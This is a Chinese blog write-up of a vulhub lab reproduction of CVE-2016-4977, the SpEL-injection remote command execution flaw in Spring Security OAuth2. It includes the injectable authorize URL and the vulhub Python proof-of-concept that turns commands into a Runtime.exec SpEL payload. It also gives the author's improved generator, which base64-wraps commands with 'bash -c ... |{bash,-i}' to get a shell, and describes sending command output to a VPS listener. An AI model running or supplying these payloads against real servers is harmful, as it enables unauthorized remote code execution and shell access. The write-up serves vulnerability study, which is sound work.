Spring Security OAuth2(CVE-2016-4977)远程命令执行漏洞

Spring Security OAuth2(CVE-2016-4977)远程命令执行漏洞

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。所以这个漏洞是在有账号密码的前提下实现的RCE。

用vulhub搭建好环境后,先看漏洞的触发点:http://zgao.site:1800/oauth/authorize?response_type=${2334-1}&client_id=acme&scope=openid&redirect_uri=http://test

输入该url会进行登录认证,都是admin。

然后跳转出现了认证错误的页面,但页面中返回执行了我们输入是SpEL表达式,这里可以看作SPEL表达式的注入。

SpEL(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大的一种表达式语言。为什么要总结SpEL,因为它可以在运行时查询和操作数据,尤其是数组列表型数据,因此可以缩减代码量,优化代码结构。关于spel表达式可以参考网上的一些介绍文章。

既然表达式被执行了,同样考虑代码注入的可能性,这里我们看看vulhub提供的poc。

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

根据poc可以看出是调用了java命令执行的函数java.lang.Runtime.getRuntime().exec 来构造的,因为还需要满足的spel表达式的结构,所以对输入的命令进行了变形,将命令的每个字符转化为ASCII码配合java的tostring方法并且用concat将所有字符拼接在一起最后传入exec执行。

但是这个poc是无回显的,并非漏洞时无回显的,这里要注意,一开始无回显我以为是自己的问题。用poc生成对应命令的payload,放入url中执行。

由于一开始我本身对java不是太熟,没办法直接改poc,所以我命令执行上想办法,就将其看做无回显的RCE,我想到了无回显的XXE,可以命令执行的结果放入url中外带,同时我在vps用nc监听端口,拿到回显内容。

虽然这个思路是对的,但在这里我踩了个坑,先说一下踩坑的过程。我原本想用$(cmd)的方式将执行的命令结果放入curl中用post外带,然而……

我先在bash下做了测试,发现是没有问题的。

发现这样是没有问题的,那么就将该命令放入poc中生成payload。

按理说是没有问题,这里我就用curl来演示了。

我在这里纠结了很久,为啥cat后面就没了呢?!我一开始以为权限出了问题?命令执行报错??

最后发现是空格的问题!!!我太难了!虽然vulhub上提了这个东西,但只是给了链接并没有引起注意,直接跳坑里去了。

请参考网上的这篇文章,一定要看!非常重要!Java反弹shell的限制与绕过方式

这个坑是java的exec函数本身的问题造成的,重定向,管道,空格有可能造成错误。所以还要将命令进行第二次变形,如下形式。

将下面变形的payload放入poc生成的payload才是正确的!

经过一番周折之后才顺利拿到shell,我裂开。不过我在想,既然payload要变形两次,那为啥不一起写到poc里面呢,没弄明白原理往坑里跳了都不知道。所以我自己将poc重写了一遍,代码如下。

#!/usr/bin/env python
import base64
message = input('Enter message to encode:')
message = 'bash -c {echo,%s}|{base64,-d}|{bash,-i}' % bytes.decode(base64.b64encode(message.encode('utf-8')))
print(message)
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

用我构造的poc就能直接执行命令,不用担心exec执行出错的问题了。由于漏洞的原理是spel表达式的注入,也知道就是对传人的参数没有严格过滤造成的,加上我没有对应的源码,所以我就不对代码层面进行分析了。

今天下午在群里和大家讨论了一番,林总提到可能是用到了反射,所以一旦出现空格什么的就会出错,debug到爽。我去看了一下网上关于exec底层的分析,好像确实涉及到了反射,我等有空再去分析exec的源码。

java反射机制

可以参考这篇文章,里面提到了对exec的分析。这里真的是有坑,以后会多注意了!

zgao

如果有什么技术上的问题,可以加我的qq 1761321396 一起交流。